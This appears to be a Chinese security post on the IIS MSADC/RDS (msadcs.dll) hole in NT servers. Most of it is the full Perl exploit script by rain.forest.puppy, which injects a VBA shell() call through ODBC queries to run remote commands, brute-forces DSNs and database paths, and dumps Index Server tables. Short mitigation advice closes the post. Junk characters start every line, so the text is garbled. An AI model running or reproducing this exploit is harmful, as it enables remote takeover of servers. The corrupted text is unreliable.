IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/ w dvm4 w#9. U7@. 涉及程序：
>; G_o="X Microsoft NT server
kN 2mPD/ {C`M<2W] 描述：
EM<W+YU 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
k7:ISj J bL<H$DB6 详细：
';.TQ_I7Y 如果你没有时间读详细内容的话，就删除:
7oL l RU c:\Program Files\Common Files\System\Msadc\msadcs.dll
n)cc\JPQ 有关的安全问题就没有了。
CNuE9|W(vI XH0{|#hwN 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
si%V63 ^lN bg 3kGt0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
0F!Uai1 关于利用ODBC远程漏洞的描述，请参看:
xg%{p` ` 2:.$:wS http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Wsd_RT }ww oVuIHb0w 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
([JFX@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp : 1'1 n h Q Att 这里不再论述。
'lC=k7@x #/(L.5d[ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
1jSmTI d WZA1nzRc /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Yo5 ged]i 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
LUx'Dm" ZnbpIJ8cV "
d~M \Az #将下面这段保存为txt文件，然后: "perl -x 文件名"
K:4 G(?w WVyq$p/V #!perl
D S|x*w'I #
UT _t]m # MSADC/RDS 'usage' (aka exploit) script
>SZuN"r8` #
$43CNnf3N # by rain.forest.puppy
M+=q"#& #
'+|uv7|+v # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O> wGJ. # beta test and find errors!
VF -[ O BH^cR<<j use Socket; use Getopt::Std;
BhyLcUBuB getopts("e:vd:h:XR", \%args);
W70BRXe04D zS\m8[+] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Q>=/u- &6Wim<* if (!defined $args{h} && !defined $args{R}) {
CwEb ? print qq~
9zehwl]~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
R'1"`@f G -h <host> = host you want to scan (ip or domain)
S@L%X <Vm -d <seconds> = delay between calls, default 1 second
Q|P m 8{8 -X = dump Index Server path table, if available
a- /p/
I-% -v = verbose
d D^?%,a -e = external dictionary file for step 5
e+MsFXnB8 Iak06E Or a -R will resume a command session
FZ%
WD@= dfeN_0` - ~; exit;}
v@!r$jZ # b= *hi`E $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,+g0#8?p^x if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3t ] 0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.O4=[wE!U if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
aOW~! f/M $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
R<>uCF0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
m`3gNox x A ZRl if (!defined $args{R}){ $ret = &has_msadc;
&4F
iYZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Gc!&I+kd kL}*,8s{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
zL:k(7E . "cmd /c ";
0Szt^l 7 $in=<STDIN>; chomp $in;
s[/) v: $command="cmd /c " . $in ;
3D rW[\ ^#j{9FpPs if (defined $args{R}) {&load; exit;}
x8h=3e$ h6gtO$A|p= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=hKu85 &try_btcustmr;
M#]URS2h<O htqC~B{1E print "\nStep 2: Trying to make our own DSN...";
w3oe.hWP3N &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q}7(w$& R 9Y k9v print "\nStep 3: Trying known DSNs...";
*&yt;|y &known_dsn;
'#Y[(5 ;ZLfb n3\ print "\nStep 4: Trying known .mdbs...";
W#[3a4%m &known_mdb;
Os|F Q -S5( " if (defined $args{e}){
X=b]Whuv print "\nStep 5: Trying dictionary of DSN names...";
u*H
V &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9RN! <`H 'ZQR@~G print "Sorry Charley...maybe next time?\n";
p[gq^5WuC exit;
_S#3!Wx EY
9N{ ##############################################################################
5-X(K 'Q `BZX\LPHm sub sendraw { # ripped and modded from whisker
syL pnNx= sleep($delay); # it's a DoS on the server! At least on mine...
Dmv@ljwO my ($pstr)=@_;
8 Ow0A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l 7=WO#Pb die("Socket problems\n");
*+'l|VaVq\ if(connect(S,pack "SnA4x8",2,80,$target)){
9 l9|w4YJs select(S); $|=1;
MDKiwT@# print $pstr; my @in=<S>;
o.H(&ex| select(STDOUT); close(S);
p^QB^HEV return @in;
ZYX(Cf } else { die("Can't connect...\n"); }}
0 xg6 ('.r_F ##############################################################################
? v2JuhRe Tn8GLn sub make_header { # make the HTTP request
6*H F`@( my $msadc=<<EOT
%phv <AW POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
KFMEY\ 6\h User-Agent: ACTIVEDATA
BPz lt Host: $ip
K Z)p\p<1 Content-Length: $clen
/?P="j#u Connection: Keep-Alive
&-0 eWwMW #/ Qe7:l ADCClientVersion:01.06
#<|q4a{8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}PDNW ^d2bl,1 --!ADM!ROX!YOUR!WORLD!
[m 3k_;[ Content-Type: application/x-varg
C6C7*ks Content-Length: $reqlen
e7.!=R{6 ^ g56:j~? EOT
)FrXD 3 p ; $msadc=~s/\n/\r\n/g;
UF00K1dbz return $msadc;}
_:tisr{ aB LE :v ##############################################################################
u*$ 1e <ZM8*bqi sub make_req { # make the RDS request
m mj6YQ0a my ($switch, $p1, $p2)=@_;
i`1QR@11 my $req=""; my $t1, $t2, $query, $dsn;
t~0}Emgp<( 3%W
R if ($switch==1){ # this is the btcustmr.mdb query
?g$dz?^CK& $query="Select * from Customers where City=" . make_shell();
#Mz N7 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
W|FP j^*t $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.Lk2S "+ ' J`%[,@V elsif ($switch==2){ # this is general make table query
>Cjb|f3'i} $query="create table AZZ (B int, C varchar(10))";
v5 yOh5 $dsn="$p1";}
Qx mVImn" {AY `\G elsif ($switch==3){ # this is general exploit table query
H[{ch t
h $query="select * from AZZ where C=" . make_shell();
J !:ss $dsn="$p1";}
l%^'K%'b &r;4$7 elsif ($switch==4){ # attempt to hork file info from index server
.hCOi<wB $query="select path from scope()";
? 1g<] ? $dsn="Provider=MSIDXS;";}
P==rY5+s` e FPDW; elsif ($switch==5){ # bad query
@])qw_ $query="select";
*HwTq[y $dsn="$p1";}
By 8C-jD uL!{xuN $t1= make_unicode($query);
shlL(&Py $t2= make_unicode($dsn);
c4R6E~S $req = "\x02\x00\x03\x00";
)h ~MIpWR $req.= "\x08\x00" . pack ("S1", length($t1));
PF1m :Iz`d $req.= "\x00\x00" . $t1 ;
) tGC&l+?/ $req.= "\x08\x00" . pack ("S1", length($t2));
> @ulvHL $req.= "\x00\x00" . $t2 ;
'W~O ? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3`& 2 - return $req;}
D'>yu" 1e;^Mz B" ##############################################################################
".qh]RVjV qPpC )6 -Q sub make_shell { # this makes the shell() statement
eA>O<Z1> return "'|shell(\"$command\")|'";}
$H/3t? 6h` i8nC TW ##############################################################################
33\{S$p M[0@3"}} sub make_unicode { # quick little function to convert to unicode
B _[^<2_ my ($in)=@_; my $out;
G Cx]VN3 & for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
S)GWr"m- return $out;}
aIk%$M at JQ%`]=n(/ ##############################################################################
-\j}le6;c ">kf X1LT sub rdo_success { # checks for RDO return success (this is kludge)
;h3uMUCml my (@in) = @_; my $base=content_start(@in);
6tM CpSJ if($in[$base]=~/multipart\/mixed/){
"qb3 \0O return 1 if( $in[$base+10]=~/^\x09\x00/ );}
_EOQ*K#=Ct return 0;}
D:llGdU#2 =%|S$J ##############################################################################
S@zsPz w RaAi9b[/S sub make_dsn { # this makes a DSN for us
e.i5j^5u my @drives=("c","d","e","f");
pHY~_^B4& print "\nMaking DSN: ";
7vV3"uns foreach $drive (@drives) {
v\t$. _at print "$drive: ";
B5!$5 Qc my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
A%u-6" "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
HW{osav9 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
jR\T\r4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
dapQ5JT/ return 0 if $2 eq "404"; # not found/doesn't exist
r 9@W8](\ if($2 eq "200") {
y1/$ dn foreach $line (@results) {
Q5iuK#/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
W z3y+I/& } return 0;}
iD_NpH q Rw*l#cr=. ##############################################################################
xF5q=%n Z* nC
;5Kd sub verify_exists {
`Bnp/9q5 my ($page)=@_;
b3x!tuQn my @results=sendraw("GET $page HTTP/1.0\n\n");
X # -U return $results[0];}
5FnWlFc %? _pSH}$! ##############################################################################
d)(61 I1
j-Q8 sub try_btcustmr {
ge[f/"u my @drives=("c","d","e","f");
(D{Fln\ my @dirs=("winnt","winnt35","winnt351","win","windows");
Dq
Kk9s;6_ 8\`]T%h foreach $dir (@dirs) {
Ip(
IGR" print "$dir -> "; # fun status so you can see progress
Sq} hx foreach $drive (@drives) {
mK PyM<Q print "$drive: "; # ditto
(J][(=s;a $reqlen=length( make_req(1,$drive,$dir) ) - 28;
w:Tz&$&Y$ $reqlenlen=length( "$reqlen" );
gc7S_D~; $clen= 206 + $reqlenlen + $reqlen;
?Il$f_"B: 8,#v7ns}# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G#8HY VF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
SPe Se/ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0CQ\e1S,# [(5;jUmF@ ##############################################################################
'd^U !l %: N6#;l M sub odbc_error {
EMmNlj6 my (@in)=@_; my $base;
m]+g[L?- my $base = content_start(@in);
^{_`j E if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
s$: F^sxb $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sYiegX`1 c $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IR?ICXmtx $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?7'uo$ return $in[$base+4].$in[$base+5].$in[$base+6];}
{ o=4(R C print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
k ;R*mg*K print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
A} FEM[2 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ot]E\g+! B5 IS-d ##############################################################################
(01M 0b# 9l@VxX68M sub verbose {
xXE/pIXw my ($in)=@_;
<bWhTNOb return if !$verbose;
& eG,CIT print STDOUT "\n$in\n";}
B9/x?Jv1 n@mWB UM ##############################################################################
l&(,$RmYp =4"D8 UaHr sub save {
_y#t[|}w my ($p1, $p2, $p3, $p4)=@_;
[bIdhG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
WQ<J<$$uu print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
VJS|H! CH close OUT;}
j#"?O e{_1 13I
7ah ##############################################################################
scCO iK) ~&[Wqn@MZ sub load {
.vj`[?T my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
xN:ih*+,v open(IN,"<rds.save") || die("Couldn't open rds.save\n");
R)"Ds} 1G @p=<IN>; close(IN);
H`G[QC $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
SG2s!Ht $target= inet_aton($ip) || die("inet_aton problems");
(n05MwKu\ print "Resuming to $ip ...";
]vMr@JM-G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
U,yU-8z/ if($p[1]==1) {
3XYCtp8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
='q: Io?T $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
qYBoo]}a my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
B\wH`5/KW if (rdo_success(@results)){print "Success!\n";}
o"- >RC else { print "failed\n"; verbose(odbc_error(@results));}}
Cb7f-Eag elsif ($p[1]==3){
aB;syl{ if(run_query("$p[3]")){
<f &z~y= print "Success!\n";} else { print "failed\n"; }}
3 k py3z[% elsif ($p[1]==4){
1@6dHFA`o if(run_query($drvst . "$p[3]")){
R"EX$Zj^E print "Success!\n"; } else { print "failed\n"; }}
^6bU4bA exit;}
w7 cciD| _nOJ.G ##############################################################################
Sg(fZ' - Xi^3o sub create_table {
@cA`del my ($in)=@_;
4d# w} $reqlen=length( make_req(2,$in,"") ) - 28;
vyP3]+ n $reqlenlen=length( "$reqlen" );
[x
?38 $clen= 206 + $reqlenlen + $reqlen;
AA"?2dF my @results=sendraw(make_header() . make_req(2,$in,""));
Gkv<)} G return 1 if rdo_success(@results);
"5"6mw? my $temp= odbc_error(@results); verbose($temp);
%Sr/'7 K return 1 if $temp=~/Table 'AZZ' already exists/;
uo ;aC$US return 0;}
zV _U/]y 47. c ##############################################################################
!qsk;Vk7Z (lq7 ct sub known_dsn {
swJ3_WhbdT # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"K
n
JUXpl my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
G=W!$(: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
YjN2 ,Xi "banner", "banners", "ads", "ADCDemo", "ADCTest");
3o&PVU? Q =p ,+a/* foreach $dSn (@dsns) {
bwR_ uF print ".";
9ot A5I^v next if (!is_access("DSN=$dSn"));
aG.j0`)% if(create_table("DSN=$dSn")){
*{8<4CVv print "$dSn successful\n";
6FNs4|(d if(run_query("DSN=$dSn")){
++n"`
]o, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
WJbdsPs print "Something's borked. Use verbose next time\n";}}} print "\n";}
{WQH vp@ %wxl!: ##############################################################################
MG)wVS<d_ V9[-# Ti sub is_access {
X~ |P my ($in)=@_;
l!CWE $reqlen=length( make_req(5,$in,"") ) - 28;
86igP $reqlenlen=length( "$reqlen" );
>=Hm2daN $clen= 206 + $reqlenlen + $reqlen;
lPF(&pP my @results=sendraw(make_header() . make_req(5,$in,""));
/nEt%YYh;x my $temp= odbc_error(@results);
X _GR{z%
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Y^80@ MJ return 0;}
iU3)4(R UQ6UZd37 ##############################################################################
SFCKD/8 K d Y3
sub run_query {
1 T:M?N8J my ($in)=@_;
q}gj.@Q" $reqlen=length( make_req(3,$in,"") ) - 28;
3Z=OUhn9 $reqlenlen=length( "$reqlen" );
8Q&.S)hrN $clen= 206 + $reqlenlen + $reqlen;
?O (KmDH my @results=sendraw(make_header() . make_req(3,$in,""));
^%l~|w return 1 if rdo_success(@results);
?w6zq| my $temp= odbc_error(@results); verbose($temp);
7|4h s:4mD return 0;}
-;pZC}Nd3 l9"4"+ ?j< ##############################################################################
v
Yt-Nx qj *IKS sub known_mdb {
> w:+nG/r my @drives=("c","d","e","f","g");
td Z,sHY6 my @dirs=("winnt","winnt35","winnt351","win","windows");
#U45H.Rz my $dir, $drive, $mdb;
1,@-y#V_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P \<dy?nZ /MFy%=0l # this is sparse, because I don't know of many
:N03$Tvl my @sysmdbs=( "\\catroot\\icatalog.mdb",
s`"o-w\$> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'}\{4Qst "\\system32\\certmdb.mdb",
&"GHD{ix "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{TT@Mkz_QC )6mx\t my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
b]S4\BBT "\\cfusion\\cfapps\\forums\\forums_.mdb",
FlJ(V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
` H+~LVH "\\cfusion\\cfapps\\security\\realm_.mdb",
S~j l%] "\\cfusion\\cfapps\\security\\data\\realm.mdb",
wn *<.s "\\cfusion\\database\\cfexamples.mdb",
P| }~=2J "\\cfusion\\database\\cfsnippets.mdb",
Eq$Q%'5*ua "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mXZOkx{ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
U-.?+ ` "\\cfusion\\brighttiger\\database\\cleam.mdb",
tI50z khaB "\\cfusion\\database\\smpolicy.mdb",
@ k+Z?Hp "\\cfusion\\database\cypress.mdb",
bz!9\D|h "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
g7*c wu "\\website\\cgi-win\\dbsample.mdb",
r~q*E'n "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
e ='bc 7$ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9L3#aE]C ); #these are just
BM bT:)% foreach $drive (@drives) {
zTi %j$o foreach $dir (@dirs){
S" ?py=7 foreach $mdb (@sysmdbs) {
NJJ sg^' print ".";
0l#{7^e if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
d"zbY\` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
s8w7/ *<d if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
pT Yq#9 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
~d oOt } else { print "Something's borked. Use verbose next time\n"; }}}}}
v~- z["=}! @kU{ foreach $drive (@drives) {
f:5(M@iO. foreach $mdb (@mdbs) {
I#( D.\P print ".";
S0. if(create_table($drv . $drive . $dir . $mdb)){
v= Ep print "\n" . $drive . $dir . $mdb . " successful\n";
S-^y;#= if(run_query($drv . $drive . $dir . $mdb)){
X\3IY:Q@T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
S<^*jheO5 } else { print "Something's borked. Use verbose next time\n"; }}}}
>L$g ;(g }
#"|Y"#@k gE8=#%1< ##############################################################################
1M&n=s
_ q 4_&C&7 sub hork_idx {
_2{i}L print "\nAttempting to dump Index Server tables...\n";
/'U/rjb_h{ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3\eb:-B:@ $reqlen=length( make_req(4,"","") ) - 28;
Ko% &~C_ $reqlenlen=length( "$reqlen" );
e* gCc7zz $clen= 206 + $reqlenlen + $reqlen;
` X?l`H;# my @results=sendraw2(make_header() . make_req(4,"",""));
': yE 5j if (rdo_success(@results)){
i|u3 Qt5 my $max=@results; my $c; my %d;
E"k\eZns& for($c=19; $c<$max; $c++){
7NG^X"N{Ul $results[$c]=~s/\x00//g;
w?kdM1T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<Q)6N!Tp^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
, 2u-<8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:HhLc'1Jw $d{"$1$2"}="";}
|YjuaXd7N foreach $c (keys %d){ print "$c\n"; }
pK O\tkMJ } else {print "Index server doesn't seem to be installed.\n"; }}
,ZjbbBZ k^gnOU ; ##############################################################################
TL@_m^SM +s&+G![ sub dsn_dict {
SZJ~ktXC-V open(IN, "<$args{e}") || die("Can't open external dictionary\n");
=g' 7 xA while(<IN>){
#tG/{R $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
2&fIF}vk>m next if (!is_access("DSN=$dSn"));
E@QsuS2 & if(create_table("DSN=$dSn")){
~V3pj('/)' print "$dSn successful\n";
K9 if(run_query("DSN=$dSn")){
!]q wRB$5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
OI B~ W print "Something's borked. Use verbose next time\n";}}}
6TS+z7S81L print "\n"; close(IN);}
o PRvd_~ j eM h ##############################################################################
>L# &L ?# M vo i
sub sendraw2 { # ripped and modded from whisker
B&|F9Z6D sleep($delay); # it's a DoS on the server! At least on mine...
X
tZ0z? my ($pstr)=@_;
M5 ep\^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5{qFKo"g@, die("Socket problems\n");
4lC:svF if(connect(S,pack "SnA4x8",2,80,$target)){
Y1EN|!WZ print "Connected. Getting data";
"_jcz r$* open(OUT,">raw.out"); my @in;
esmQ \QQ^1 select(S); $|=1; print $pstr;
yNdtq\h while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
LKY4rY!|@d close(OUT); select(STDOUT); close(S); return @in;
{6'5K
U*RH } else { die("Can't connect...\n"); }}
_m0H gLS~ 7 }(LO^,A ##############################################################################
ftsr-3!Vm tUv @4<~,/ sub content_start { # this will take in the server headers
qJB9z0a<Ov my (@in)=@_; my $c;
[~ ?LOH for ($c=1;$c<500;$c++) {
ON _uu]= if($in[$c] =~/^\x0d\x0a/){
qQ%zSJ ? if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2?rg&og6 else { return $c+1; }}}
\tLJ( <8 return -1;} # it should never get here actually
Hk8:7"4Q VcIsAK".4[ ##############################################################################
^sd+s ~ xx F >2t=r*9 sub funky {
)zI<C=])" my (@in)=@_; my $error=odbc_error(@in);
eSoOJ[&$ if($error=~/ADO could not find the specified provider/){
vG#|CO9 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]"q[hF*PM exit;}
wcP0PfY if($error=~/A Handler is required/){
O:B fbna print "\nServer has custom handler filters (they most likely are patched)\n";
EaFd1 exit;}
//`heFuc]> if($error=~/specified Handler has denied Access/){
"cRc~4%K print "\nServer has custom handler filters (they most likely are patched)\n";
B` <(qPD exit;}}
DzO0V"+H}k &M=12>ah] ##############################################################################
W&}YM b L 7_Mg{ sub has_msadc {
vlIet$ k my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
_ZIaEJjH/ my $base=content_start(@results);
]ms#*IZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3lhXD_Y return 0;}
}b2U o&][ ?2OT :/ I, ########################
tc\LK_@$/F Yi &;4vC NWNH)O@ 解决方案：
v<_}Br2I[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
w w nc 2、移除web 目录: /msadc
